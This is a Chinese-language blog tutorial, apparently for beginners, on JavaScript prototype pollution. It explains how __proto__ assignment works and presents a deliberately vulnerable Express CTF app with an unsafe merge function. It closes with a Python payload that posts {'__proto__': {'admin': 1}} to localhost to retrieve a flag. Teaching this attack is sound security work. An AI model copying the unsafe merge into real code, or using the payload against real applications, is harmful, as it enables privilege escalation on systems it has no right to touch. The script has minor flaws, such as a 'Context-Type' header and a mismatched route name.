安全初级渗透——原型链污染案例

发布时间 2023-08-03 02:05:26作者: 胧月北宸

原型链污染原理

我们来看看下面这个语句:

object[a][b] = value

如果我们可以控制 a、b、value 的值,将 a 设置为__proto__,那么我们就可以给 object 对象的原型设置一个 b 属性,值为 value。这样所有继承 object 对象原型的实例对象就会在本身不拥有 b 属性的情况下,都会拥有b属性,且值为value。

来看一个简单的例子:

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

最终会输出两个 Hello World。为什么 object2 在没有设置 foo 属性的情况下,也会输出 Hello World 呢?就是因为在第二条语句中,我们对 object1 的原型对象设置了一个 foo 属性,而 object2 和 object1 一样,都是继承了 Object.prototype。在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

 

原型链污染案例

Merge 类操作导致原型链污染

Merge 类操作是最常见可能控制键名的操作,也最能被原型链攻击。

给出一个例子:

'use strict';
 
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
 
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
 
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
 
function clone(a) {
    return merge({}, a);
}
 
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};      //admin没有值,则要进行污染
 
// App
const app = express();
app.use(bodyParser.json())  //调用中间件解析json
app.use(cookieParser());
 
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));    
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

通过分析题目,其中有一个敏感函数merge,merge 函数作用是进行对象的合并,其中涉及到了对象的赋值,且键值可控,这样就可以触发原形链污染了。

进行payload编写,进行污染。

import requests
import json
 
url1 = "http://127.0.0.1:8080/signup"
url2 = "http://127.0.0.1:8080/getflag"
 
s = requests.session()
 
headers = {"Context-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
 
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url2)
print (res2.text)